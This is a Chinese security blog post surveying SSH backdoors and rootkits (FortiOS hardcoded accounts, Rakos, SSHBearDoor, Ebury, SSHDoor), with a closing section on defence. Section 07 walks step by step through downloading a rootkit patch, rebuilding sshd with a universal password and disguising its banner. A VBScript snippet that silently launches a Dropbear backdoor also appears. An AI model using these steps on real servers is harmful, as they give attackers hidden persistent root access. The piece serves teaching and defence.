渗透基础-SSH后门分析总结

对于UNIX系统来说,ssh服务端作为最广泛应用的远程管理服务并且有一定对外开放的必然性,必然引起黑客关注,所以ssh类的后门也是unix下最经典的后门方式之一了。作为渗透基础知识,逢魔安全团队在本文中对此类后门进行了详细的分析总结,希望能帮助到一些初学者。

01

简介

简单的说,SSH 为建立在应用层基础上的安全协议。通过该协议可以远程操作服务器。目前,所谓openssh,Dropbear SSH等,都是ssh协议的工具体现

所谓后门是在渗透完成之后的阶段,攻击者获取到一台服务器的root权限后,需要通过后门长期能够控制这台服务器,同时后门又需要躲避管理员的检测。

那么,rookit的概念实际上就是要通过一系列手段隐藏恶意程序,达到长期控制的目的。可想而知,他的根本宗旨是隐藏:通信隐蔽、自启动项隐藏、文件隐藏、进程/模块隐藏、注册表隐藏、服务隐藏、端口隐藏等。

02

Fortinet FortiOS后门

Poc见:http://seclists.org/fulldisclosure/2016/Jan/26

该后门属于硬编码类型的,事实上很多产品都爆出过这一类型的漏洞

爆发时间:2016年9月

如上图poc中,可以知道想目标机器发送内置账号Fortimanager_Access,发挥的信息经过custom_handler函数的处理,就能访问了。

思考:实际上,硬编码漏洞广泛的存在于各种设备中,路由器,网关,防火墙等均爆出过

例如:

  • D-Link DWR-932B LTE路由器,存在admin:admin和root:1234
  • CVE-2015-7755: Juniper ScreenOS认证后门
  • 梭子鱼多款产品存在后门

这一类型的后门都是通过硬编码的方式存在,是开发和管理人员用来管理的内置账号,但是没有做好相应的权限控制,使得普通用户甚至恶意用户也能访问到这些账号。

03

Rakos Malware

参考地址:https://github.com/eset/malware-ioc/tree/master/rakos

Rakos Malware主要在嵌入式设备中流传,可以通过暴力破解ssh服务组建僵尸网络。

主要时间:约2016年8月份

攻击行为:

  • 加载yaml配置文件,该文件包含了c&c服务器列表以及账号密码字典
  • 本地打开一个http端口61314,主要通过该端口进行控制
  • 将受害者信息(账号密码等)通过http发送给C&C端,同时可以用于自我更新
  • 通过C&C服务端发送指令,破解其他机器ssh账号,在进一步将破解的机器感染成僵尸机器

思考

在本次案例根本是在于大范围暴力破解ssh服务,加上管理员往往对物联网设备疏于管理。

实际中,暴力破解的安全事件很容易发生,市面上有非常多类似功能的恶意软件,对于一个高度安全的网络环境,入口点有时候往往就是一个弱密码。

04

SSHBearDoor

sshBearDoor主要被当做后门用,能够擦出硬盘数据,主要针对乌克兰新闻媒体公司和电力行业。

爆发时间:2007年就存在,2014年卷土重来

SSh后门:

该恶意软件绑定了一个Dropbear SSH的后门,后门程序如下:

Set WshShell = CreateObject(“WScript.Shell”)WshShell.CurrentDirectory = “C:\WINDOWS\TEMP\Dropbear\”WshShell.Run “dropbear.exe -r rsa -d dss -a -p 6789”, 0, false

后门详细的工作原理如下图:

后门行为:这里的后门实际上完全是正常的程序功能,只不过人们使用了该ssh功能写了一个远程连接的工具而已。

思考:这一类的后门原理上都是通过提供的第三方库再实现一个简易的ssh客户端和服务端,然后将服务端安装在受害者机器上,实现连接、

与之类似的有如下工具:

https://github.com/joridos/custom-ssh-backdoor,该工具是通过python的paramiko库自己实现了个ssh功能的软件,然后安装在服务端上

比较缺乏的是,github上大部分的后门软件都只是实现了ssh的功能,并没有隐藏功能

05

Ebury木马

该木马主要是通过补丁程序修改OpenSSH的公共库libkeyutils.so,从而使得他能够轻易获取到管理员账号密码

爆发时间:2013年

木马行为

  • 将受感染机器的用户登陆信息记录下来并发送给远程机器,记录下未加密的私钥
  • 不在日志文件里留下痕迹
  • 修改文件包管理器中的原始签名
  • 网口混杂模式时

该木马功能上比较完整,有各种手段对后门进行隐藏,有机会我们单独拿一片文章出来讲。

06

SSHDoor

该后门主要是通过硬编码的方式登陆,可以窃取用户名密码

时间:2013年

后门行为

  • 隐藏行为的字符串都是用XOR编码
  • 通过http协议传递盗取到的信息,并向远程机器发送信息
  • 设置了一个通用密码
  • 替换了原系统的私钥,使得自己可以直接访问远程机器

07

OpenSSH Patch BackDoor

我们来看一个最原始的OpenSSH后门,该后门是通过补丁的方式修改openssh,并且重新编译替换了sshd,与Ebury后门相似的是都可以记录用户的账号名密码,只不过该后门功能上远远不如Ebury,也没有相应的隐藏功能。

[root@localhost ~]#cat /etc/issueCentOS release 6.8(Final)Kernel \r on an \m #1. SSH后门目前网上支持版本为5.9以下,本次用的是centos6.8自带的openssh5.3版本的[root@localhost ~]#ssh -VOpenSSH_5.3p1,OpenSSL 1.0.1e-fips 11 Feb 2013 # 2. 下载两个文件[root@localhost ~]#wget http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz[root@localhost ~]#wgethttp://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz [root@localhost ~]#ls0x06-openssh-5.9p1.patch.tar.gz openssh-5.9p1.tar.gz #3. 备份下配置文件[root@localhost ~]#mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old [root@localhost ~]#mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old [root@localhost ~]#tar -zxvf openssh-5.9p1.tar.gz[root@localhost ~]#tar -zxvf 0x06-openssh-5.9p1.patch.tar.gz openssh-5.9p1.patch/openssh-5.9p1.patch/LICENSEopenssh-5.9p1.patch/INSTALLopenssh-5.9p1.patch/READMEopenssh-5.9p1.patch/sshbd5.9p1.diffopenssh-5.9p1.patch/ssh_integrity_checker.sh #4. 补丁#5. 设置后门登陆密码在includes.h文件中可以找到设置通用密码的地方:Version.h文件设置版本banners,该banners改成和原来系统一致[root@localhostopenssh-5.9p1]# yum install zlib-devel opensslopenssl-devel zlib zlib-devel#7. 编译并安装[root@localhost openssh-5.9p1]# yum install zlib-devel[root@localhost openssh-5.9p1]# yum installopenssl openssl-devel[root@localhost openssh-5.9p1]# yum installgcc[root@localhost openssh-5.9p1]# ./configure--prefix=/usr --sysconfdir=/etc/ssh[root@localhost openssh-5.9p1]# make&& make install#8. 验证执行:strings/usr/sbin/sshd可以查看到,我们需要的后门已经写入到ssh中使用通用密码123123登陆成功

08

防御方法

在识别rootkit方面,目前有几款工具可以直接实现,例如:chkrootkit、Rootkit Hunter、Lynis、ISPProtect等,都是可以对系统进行自动检测。

攻击是点,防御是面的防御,等到被入侵后在加固,就弱了,我们可以简单的认为后门程序就是一个访问权限的隐藏,站在攻击者的角度就是要伪装成正常的用户,行为。防御者要做的就是识别出这些伪装:

端口监控:这里包括内网监控和外网监控:外网端口通过白名单控制,严禁私自开启外网端口;内网端口变化性比较大的,那么是否可能这些变化是有规律有模型的呢?这需要进一步研究

文件监控:建立起文件监控体系,周期性检测文件的完整性,监控文件的权限变化。匹配软件MD5值以免软件被替换

配置安全:做好基线检测,服务器被入侵后,往往会修改用户配置,而通常hids并不会去检测文件的内容。基线配置的建立就显得尤为重要

流量检测:这一点常见的hids都能实现,snort什么的,关键是各种防御体系的联动以及分析,提取出安全事件,进而提升到威胁情报

参考:

http://seclists.org/fulldisclosure/2016/Jan/26

https://github.com/eset/malware-ioc/tree/master/rakos

http://seclists.org/snort/2014/q1/498

https://evi1cg.me/archives/Pentest_SSH.html

原文发布于微信公众号 - 逢魔安全实验室(FormSec)

原文发表时间:2018-02-13

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏FreeBuf

浅谈简易端口扫描威胁感知系统的设计与实现

一 前言: 正所谓善守者不知其所攻,善攻者不知其所守。网络攻防本来就是一场看不见硝烟的对抗。 本人设计的这套端口蜜罐检测程序,是在总结了大量的APT攻击方法和思...

45970
来自专栏北京马哥教育

jenkins+gitlab构建安卓自动编译环境

因工作关系接触到接触到安卓自动编译环境,网上的资料都推荐了jenkins,因为第一次接触安卓和jenkins,踩了不少的坑,有总结才有进步。 gitlab环境之...

40750
来自专栏IT技术精选文摘

窥探Nginx内部实现:如何为性能和规模进行设计

NGINX在网络性能方面处于领先地位,这一切都是由于软件的设计方式。尽管许多Web服务器和应用程序服务器使用简单的线程或基于进程的架构,但NGINX具有复杂的事...

21250
来自专栏FreeBuf

没有外部工具,如何快速发现Windows中毒了

从事应急响应工作几年之后,我认为总结一份快速确定计算机是否被感染木马和病毒的“方法论”是十分有用的。这显然不是那么简单的,可我却发现感染几乎存在于所有不复杂的攻...

22050
来自专栏安恒信息

Hacking Team 病毒测试环境分析

0x00 前言 安恒研究团队在Hacking Team泄露的文件中除了发现大量的后门、木马等攻击的源码,还发现了两个用于病毒安全性测试的源代码,分别是test...

39750
来自专栏数据库

数据库安全如何保障?这五点是关键!

数据泄漏的成本是昂贵的,这之中包含着业务的中断、客户信任的丧失、损失的法律成本、监管罚款和勒索软件攻击。 数据泄漏或导致巨大的影响。最好的防御是好的进攻,所以让...

228100
来自专栏FreeBuf

运维安全 | 等保视角下的SSH加固之旅

前段时间在搞等保,根据等保的安全要求,需要对公司的服务器进行安全加固,其中就涉及到对SSH Server的加固。正好最近有空,笔者将加固过程的一些经验,总结分享...

33030
来自专栏北京马哥教育

linux系统被入侵后处理实战

作者 李振良 | 来源 51cto 糖豆贴心提醒,本文阅读时间8分钟,文末有秘密! ? 事件背景 操作系统:Ubuntu12.04_x64 运行业务:公司...

52550
来自专栏玄魂工作室

Hacker基础之工具篇 Automater

用白话来说,就是相当于哈勃那种的东东,你给个网址,它会去这些网站上找这个网址是否是安全的,是否有什么不良历史记录这个意思

14120
来自专栏FreeBuf

全能无线渗透测试工具,一个LAZY就搞定了

近来一直在研究无线安全方面的东西,特别是在无线渗透测试这块,每次渗透测试时总要来回不停的切换操作和挑选利器,很是麻烦。就想看看是否可以有一款功能全面的集合型工具...

32950

扫码关注云+社区

领取腾讯云代金券